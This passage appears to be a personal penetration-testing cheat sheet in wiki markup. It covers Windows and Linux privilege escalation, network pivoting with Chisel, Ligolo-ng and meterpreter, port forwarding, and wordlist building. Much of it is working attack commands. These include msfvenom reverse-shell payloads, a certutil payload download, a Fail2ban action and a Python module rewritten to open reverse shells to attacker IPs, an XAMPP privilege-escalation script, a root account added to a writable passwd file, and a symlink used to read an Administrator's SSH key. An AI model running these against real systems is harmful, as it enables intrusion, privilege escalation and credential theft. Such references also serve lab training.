# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
